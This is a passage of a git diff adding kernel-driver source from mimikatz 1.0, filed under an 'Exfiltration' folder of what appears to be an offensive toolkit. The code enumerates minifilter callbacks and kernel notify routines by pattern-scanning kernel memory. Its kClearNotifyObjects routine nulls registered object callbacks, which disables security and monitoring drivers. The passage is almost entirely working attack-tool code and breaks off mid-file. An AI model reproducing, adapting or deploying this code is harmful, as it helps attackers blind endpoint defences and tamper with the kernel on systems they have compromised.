L"SET_VOLUME_INFORMATION", + L"DIRECTORY_CONTROL", + L"FILE_SYSTEM_CONTROL", + L"DEVICE_CONTROL", + L"INTERNAL_DEVICE_CONTROL", + L"SHUTDOWN", + L"LOCK_CONTROL", + L"CLEANUP", + L"CREATE_MAILSLOT", + L"QUERY_SECURITY", + L"SET_SECURITY", + L"POWER", + L"SYSTEM_CONTROL", + L"DEVICE_CHANGE", + L"QUERY_QUOTA", + L"SET_QUOTA", + L"PNP", +}; + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + + ULONG i, j, k; + + ULONG NumberFiltersReturned = 0; + PFLT_FILTER *FilterList = NULL; + + ULONG BytesReturned = 0; + PFILTER_FULL_INFORMATION myFilterFullInformation = NULL; + + PFLT_INSTANCE *InstanceList = NULL; + ULONG NumberInstancesReturned = 0; + + PFLT_VOLUME RetVolume = NULL; + + PVOID monCallBack, preCallBack, postCallBack; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n"); + if(NT_SUCCESS(status)) + { + status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0)) + { + FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG); + if(FilterList != NULL) + { + status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned); + for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0)) + { + myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG); + if(myFilterFullInformation != NULL) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned); + if(NT_SUCCESS(status)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%*.*ws\n", + myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR), + myFilterFullInformation->FilterNameBuffer + ); + + if(NT_SUCCESS(status)) + { + status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0)) + { + InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG); + if(InstanceList != NULL) + { + status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned); + for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++) + { + /* + http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx + * InstanceName + * Altitude + * VolumeName + - FilterName + */ + + if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume))) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u @ %wZ\n", + j, + (PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF]) + ); + FltObjectDereference (RetVolume); + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u\n", + j + ); + } + + for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++) + { + monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k); + if(monCallBack != NULL) + { + preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]); + postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]); + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" [0x%2x %-24ws] ", + k, + irpToName[k - 0x16] + ); + + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + + } + } + } + FltObjectDereference (InstanceList[j]); + } + ExFreePoolWithTag(InstanceList, POOL_TAG); + } + } + } + } + ExFreePoolWithTag(myFilterFullInformation, POOL_TAG); + } + } + FltObjectDereference (FilterList[i]); + } + ExFreePoolWithTag(FilterList, POOL_TAG); + } + } + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.h b/Exfiltration/mimikatz-1.0/driver/minifilters.h new file mode 100644 index 0000000..647031a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.h @@ -0,0 +1,12 @@ +#pragma once +#include <fltkernel.h> +#include "k_types.h" +#include "modules.h" + +#define INDEX_MF_CALLBACK_OFF 0 +#define INDEX_MF_CALLBACK_PRE_OFF 1 +#define INDEX_MF_CALLBACK_POST_OFF 2 +#define INDEX_MF_VOLUME_NAME_OFF 3 +#define MAX_MF_LEN 4 + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.c b/Exfiltration/mimikatz-1.0/driver/mod_memory.c new file mode 100644 index 0000000..d5a05b3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.c @@ -0,0 +1,32 @@ +#include "mod_memory.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur) +{ + for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1) + { + if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur) + { + return STATUS_SUCCESS; + } + } + *addressePattern = NULL; + return STATUS_NOT_FOUND; +} + +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo) +{ + NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur); + if(NT_SUCCESS(status)) + { + *addressePointeur += offsetTo; + #ifdef _M_X64 + *addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur); + #elif defined _M_IX86 + *addressePointeur = *(PUCHAR *)(*addressePointeur); + #endif + + if(!*addressePointeur) + status = STATUS_INVALID_HANDLE; + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.h b/Exfiltration/mimikatz-1.0/driver/mod_memory.h new file mode 100644 index 0000000..0c10fb9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.h @@ -0,0 +1,5 @@ +#pragma once +#include "k_types.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur); +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo); diff --git a/Exfiltration/mimikatz-1.0/driver/modules.c b/Exfiltration/mimikatz-1.0/driver/modules.c new file mode 100644 index 0000000..7ca3551 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.c @@ -0,0 +1,110 @@ +#include "modules.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p - %.8u [%S] %S\n", + modules[i].BasicInfo.ImageBase, + modules[i].ImageSize, + modules[i].FullPathName + modules[i].FileNameOffset, + modules[i].FullPathName + ); + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = STATUS_NOT_FOUND; + if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p [%S+%u]", + theAddr, + modules[i].FullPathName + modules[i].FileNameOffset, + theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase + ); + break; + } + + + } + + if(status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr); + if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND; + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + + + diff --git a/Exfiltration/mimikatz-1.0/driver/modules.h b/Exfiltration/mimikatz-1.0/driver/modules.h new file mode 100644 index 0000000..86fe625 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.h @@ -0,0 +1,7 @@ +#pragma once +#include <ntddk.h> +#include <aux_klib.h> +#include "k_types.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify.h b/Exfiltration/mimikatz-1.0/driver/notify.h new file mode 100644 index 0000000..8ee225a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify.h @@ -0,0 +1,19 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" +#include "modules.h" +#include "mod_memory.h" +#include "notify_process.h" +#include "notify_thread.h" +#include "notify_image.h" +#include "notify_reg.h" +#include "notify_object.h" + +typedef struct _KIWI_CALLBACK +{ + #ifdef _M_IX86 + PVOID unk0; + #endif + PVOID * callback; + LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi +} KIWI_CALLBACK, *PKIWI_CALLBACK; diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.c b/Exfiltration/mimikatz-1.0/driver/notify_image.c new file mode 100644 index 0000000..6f03fd4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.c @@ -0,0 +1,117 @@ +#include "notify_image.h" + +ULONG * PspLoadImageNotifyRoutineCount = NULL; +PVOID * PspLoadImageNotifyRoutine = NULL; + +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspLoadImageNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspLoadImageNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image); + UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image); + + LONG OFFS_WNT5_Count = - 0x0c; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56}; + UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6}; + UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6}; + LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID); + + LONG OFFS_WNT5_Count = - 0x18; + LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + LONG OFFS_WIN8_Count = - 0x20; + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Image; + taille = sizeof(PTRN_WNT5_Image); + #ifdef _M_X64 + offsetTo = OFFS_WNT5_Image; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Image; + taille = sizeof(PTRN_WNT6_Image); + offsetTo = OFFS_WNT6_Image; + offsetToCount = OFFS_WNT6_Count; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Image; + taille = sizeof(PTRN_WNO8_Image); + offsetToCount = OFFS_WNO8_Count; + } + else + { + pattern = PTRN_WIN8_Image; + taille = sizeof(PTRN_WIN8_Image); + offsetToCount = OFFS_WIN8_Count; + } + #endif + } + #ifdef _M_IX86 + offsetTo = OFFS_WALL_Image; + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspLoadImageNotifyRoutine = (PVOID) (pointeur); + PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.h b/Exfiltration/mimikatz-1.0/driver/notify_image.h new file mode 100644 index 0000000..f6e0711 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.h @@ -0,0 +1,10 @@ +#pragma once +#include "notify.h" + +#define MAX_NT_PspLoadImageNotifyRoutine 8 + +ULONG * PspLoadImageNotifyRoutineCount; +PVOID * PspLoadImageNotifyRoutine; + +NTSTATUS getPspLoadImageNotifyRoutine(); +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.c b/Exfiltration/mimikatz-1.0/driver/notify_object.c new file mode 100644 index 0000000..9eac3bb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.c @@ -0,0 +1,173 @@ +#include "notify_object.h" + +POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL; + +const WCHAR *procCallToName[] = { + L"Dump ", + L"Open ", + L"Close ", + L"Delete ", + L"Parse ", + L"Security ", + L"QueryName ", + L"OkayToClose", +}; + +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif); +} + +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif); +} + +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action) +{ + NTSTATUS status; + ULONG i, j; + POBJECT_DIRECTORY_ENTRY monEntree; + POBJECT_TYPE monType, monTypeDecal; + PVOID * miniProc; + POBJECT_CALLBACK_ENTRY pStruct; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n"); + + if(NT_SUCCESS(status)) + { + status = getObpTypeDirectoryObject(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++) + { + if((*ObpTypeDirectoryObject)->HashBuckets[i]) + { + for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry) + { + if(monType = monEntree->Object) + { + if(INDEX_OS < INDEX_VISTA) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE)); + + if(action == ListNotif) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name)); + for(j = 0; (j < 8) && NT_SUCCESS(status); j++) + { + miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j + #ifdef _M_IX86 + - ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0) + #endif + ); + if(*miniProc) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + if(INDEX_OS >= INDEX_VISTA) + { + if(INDEX_OS < INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK)); + else if (INDEX_OS > INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks + + for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink) + { + if(pStruct->PreOperation || pStruct->PostOperation) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);; + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + + if(action == ClearNotif) + { + pStruct->PreOperation = NULL; + pStruct->PostOperation = NULL; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n"); + } + } + } + } + } + } + } + } + } + } + return status; +} + +NTSTATUS getObpTypeDirectoryObject() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3; + #elif defined _M_IX86 + UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + #endif + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + + if(ObpTypeDirectoryObject) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType"); + if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refFin = refDebut + PAGE_SIZE; + + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + offsetTo = OFFS_WNT5_Object; + else + { + offsetTo = OFFS_WNO8_Object; + #ifdef _M_X64 + refFin = refDebut - PAGE_SIZE; + #endif + } + } + else + offsetTo = OFFS_WIN8_Object; + + retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo); + } + } + return retour; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.h b/Exfiltration/mimikatz-1.0/driver/notify_object.h new file mode 100644 index 0000000..96d5517 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.h @@ -0,0 +1,79 @@ +#pragma once +#include "notify.h" + +#define OBJECT_HASH_TABLE_SIZE 37 + +typedef struct _OBJECT_DIRECTORY_ENTRY { + struct _OBJECT_DIRECTORY_ENTRY *NextEntry; + PVOID Object; + ULONG HashValue; // pas en NT5 +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE]; + EX_PUSH_LOCK Lock; + PVOID DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; // a partir de lŕ, différent en NT5, mais pas utilisé... + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_TYPE_INITIALIZER // NT6, décaler ULONG en NT5x86 (compensé par l'alignement en x64) +{ + SHORT Length; + UCHAR ObjectTypeFlags; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE, *POBJECT_TYPE; + +typedef struct _OBJECT_CALLBACK_ENTRY { + LIST_ENTRY CallbackList; + OB_OPERATION Operations; + ULONG Active; + /*OB_HANDLE*/ PVOID Handle; + POBJECT_TYPE ObjectType; + POB_PRE_OPERATION_CALLBACK PreOperation; + POB_POST_OPERATION_CALLBACK PostOperation; +} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY; + +typedef enum _KIWI_NOTIF_OBJECT_ACTION +{ + ListNotif, + ClearNotif +} KIWI_NOTIF_OBJECT_ACTION; + +POBJECT_DIRECTORY * ObpTypeDirectoryObject; + +NTSTATUS getObpTypeDirectoryObject(); +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.c b/Exfiltration/mimikatz-1.0/driver/notify_process.c new file mode 100644 index 0000000..87cc3ed --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.c @@ -0,0 +1,137 @@ +#include "notify_process.h" + +ULONG * PspCreateProcessNotifyRoutineCount = NULL; +ULONG * PspCreateProcessNotifyRoutineExCount = NULL; +PVOID * PspCreateProcessNotifyRoutine = NULL; + +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t 